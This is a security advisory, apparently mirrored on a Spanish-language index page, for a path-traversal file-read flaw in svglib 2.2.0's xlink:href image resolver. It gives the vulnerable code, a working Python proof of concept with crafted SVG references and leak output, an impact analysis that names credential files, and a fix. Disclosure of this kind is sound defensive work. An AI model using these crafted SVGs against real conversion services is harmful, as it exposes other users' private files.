GHSA-2P5C-8VCC-4RCW
Arbitrary local file read via path traversal in the xlink:href image/use resolver
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-2P5C-8VCC-4RCW divulgada · CVSS 5.3 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 2.3.0 | svglib · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
svglib converts SVG into ReportLab drawings / PDF / PNG (svg2rlg). When it renders an <image> or
<use> element, SvgRenderer.xlink_href_target() resolves the element's xlink:href / href to a local
file path and embeds that file into the output. The resolution joins the attacker-controlled
reference onto the SVG's own directory with os.path.join() and performs no containment check.
Because os.path.join(base, iri) discards base the moment iri is absolute, and .. segments collapse
above base, a crafted SVG can name any file the rendering process can read. If that file decodes as
a raster image (any extension) its bytes are copied verbatim into the output; if it is an
XML-parseable .svg its rendered content, text included, is inlined. The result is arbitrary local
file read against a service that converts untrusted SVGs from a file path. This is a different class
and a different code path from the 2020 XXE (CVE-2020-10799, fixed in 0.9.4).
Details
Sink: svglib/svglib.py:1689-1723, in SvgRenderer.xlink_href_target():
# (data: URIs are handled earlier, at :1665, and are not relevant here)
if iri:
# Only local relative paths are supported yet
if not isinstance(self.source_path, str):
logger.error(...) # file-like source -> refuse (see Reachability)
return None
path = os.path.normpath(
os.path.join(os.path.dirname(self.source_path), iri) # :1689 <-- no containment
)
if not os.access(path, os.R_OK): # :1692 readability only, not location
return None
...
if iri:
if path.endswith(".svg"):
... self._external_svgs[path] = ExternalSVG(path, self) ... # inline external SVG
else:
try:
PDFImage(path, 0, 0) # :1719 decodes-as-image? then embed
except OSError:
return None
return path # :1723 file embedded into outputRoot cause. The comment states the intent, "Only local relative paths are supported yet", but
nothing enforces it:
- os.path.join(os.path.dirname(self.source_path), iri) returns iri unchanged when iri is absolute
- .. segments in a relative iri are collapsed by normpath and can climb above the SVG's directory
- The only gate is os.access(path, os.R_OK), a readability check and not a location check.
There is no URL or scheme fetching involved: everything that is not a data: URI is treated as a local
path. This is a pure directory escape in the local-path computation, not an SSRF or fetcher issue.
Proof of Concept
Minimal and self-contained. It stays inside one throwaway temp directory and plants its own marker
file, so it never reads anything real off the machine it runs on. secret/ stands in for whatever sits
next to the upload directory of a real service.
python3 -m venv .venv && .venv/bin/pip install svglib==2.2.0 pypdf"""Minimal PoC: arbitrary local file read in svglib 2.2.0 (CWE-22).
pip install svglib==2.2.0 pypdf
Everything happens inside one throwaway temp dir; no real file is read.
"""
import os, tempfile
from PIL import Image
from pypdf import PdfReader
from reportlab.graphics import renderPDF
from svglib.svglib import svg2rlg
MARKER = (214, 2, 112)
SVG = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" ' \
'width="64" height="64"><image xlink:href="%s" width="64" height="64"/></svg>'
root = tempfile.mkdtemp()
uploads = os.path.join(root, "uploads") # what the service exposes
secret = os.path.join(root, "secret") # what it must not expose
os.makedirs(uploads); os.makedirs(secret)
target = os.path.join(secret, "marker.png")
Image.new("RGB", (64, 64), MARKER).save(target) # stands in for another tenant's file
for label, href in [("absolute", target), ("traversal", "../secret/marker.png")]:
svg_path = os.path.join(uploads, "user.svg")
open(svg_path, "w").write(SVG % href)
pdf = os.path.join(root, "out.pdf")
renderPDF.drawToFile(svg2rlg(svg_path), pdf)
leaked = [im.image.convert("RGB").getpixel((1, 1)) == MARKER
for page in PdfReader(pdf).pages for im in page.images]
print("%-10s href=%-28r -> %s" % (label, href, "LEAK" if any(leaked) else "blocked"))Observed output on svglib 2.2.0 (reportlab 5.0.1, pillow 12.3.0, CPython 3.13):
absolute href='/tmp/tmp74h6w5iz/secret/marker.png' -> LEAK
traversal href='../secret/marker.png' -> LEAKLEAK means the pixel extracted back out of the rendered PDF is the marker colour of the
out-of-bounds file: the file was embedded in the output. A reference that stays inside uploads/
renders normally, so the escape is the only thing that changes.
The longer PoC, which adds an in-bounds control and compares the extracted raster against the planted
marker, and the verifier that asserts the full behaviour matrix of the fix, went to you by mail.
Impact
Confidentiality, arbitrary local file read. An unauthenticated client that can get a service to render
an SVG it controls can exfiltrate files from outside the intended directory: byte for byte for
anything the process can read that decodes as a raster image regardless of extension, and full
rendered content, text included, for any XML-parseable .svg anywhere on disk. The canonical target is
a multi-tenant image or PDF conversion service, where the out-of-bounds files are exactly the
sensitive assets: other tenants' uploaded images, private SVG documents, XML data or config files.
Content-type constraint, verified and reflected in the score. Files that neither decode as a raster
nor parse as XML do not leak: a plain-text file (.env, id_rsa, /etc/passwd), or a non-XML file merely
named *.svg, is skipped, since PDFImage raises OSError and the external-SVG parse yields no root. So
this is not an unconstrained read-any-file primitive; it is arbitrary read constrained to image and
XML/SVG content. That is why the primary score is Moderate 5.3 (C:L). In a multi-tenant renderer,
where disclosure of other tenants' images and documents is the whole point of the attack, it reaches
7.5 (C:H). I:N/A:N are honest, there is no integrity or availability impact.
Reachability
The public, documented API svglib.svglib.svg2rlg(path) sets self.source_path = path and reaches the
sink with no opt-out for external-reference resolution. The one precondition, stated honestly:
svg2rlg must be called with a filesystem path (a str or pathlib.Path), not a file-like object. For a
file-like source, source_path is not a str and the resolver returns early at line 1682, so the escape
does not trigger.
That is not a narrowing caveat in practice, since path input is svglib's primary documented mode:
- The one-argument signature is svg2rlg(path), and the package ships a svg2pdf command-line tool that
- The dominant server pattern is exactly "save the uploaded SVG to disk, then convert the path",
Downstream, measured 2026-09-14:
| consumer | downloads/month | call site | affected |
|---|---|---|---|
| xhtml2pdf | 3,750,308 | svg2rlg(BytesIO(self._imgdata)), xhtml2pdf_reportlab.py:704 | no (file-like) |
| rst2pdf (svgsupport extra) | 140,042 | svg2rlg(filename), rst2pdf/svgimage.py:23 | yes (path) |
| svg2pdf CLI (shipped with svglib) | n/a | path argument | yes (path) |
xhtml2pdf is a hard dependency on svglib>=1.2.1 and accounts for most of svglib's install volume, so
the installed population is much larger than the exposed one. The exposed population is the path-mode
callers: the svg2pdf CLI, rst2pdf, and services that save an upload and convert the saved file.
Remediation and workarounds
A patch is proposed in the pull request on this advisory's private fork. It refuses absolute
references unconditionally, which only enforces the contract the code already states, and adds an
opt-in external_reference_root on svg2rlg() and SvgRenderer that enforces realpath plus commonpath
containment and propagates into nested external-SVG renderers. The default preserves today's
behaviour for relative references, including .., so documents that legitimately point at
../assets/logo.png keep rendering and nothing breaks silently. Verified on 2.2.0: both vectors and a
nested external-SVG escape are blocked with a root set, the absolute vector is blocked even without
one, the legitimate ../assets reference still renders, and the upstream suite is unchanged at 139
passed and 2 skipped.
Credit
Gabin Degrange (gdegrange, security@degrange.me).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypisvglib |
Corregida | 2.3.0 | 0 d | 2.4.0 no afectada |
2.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/deeplook/svglib/security/advisories/GHSA-2p5c-8vcc-4rcwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
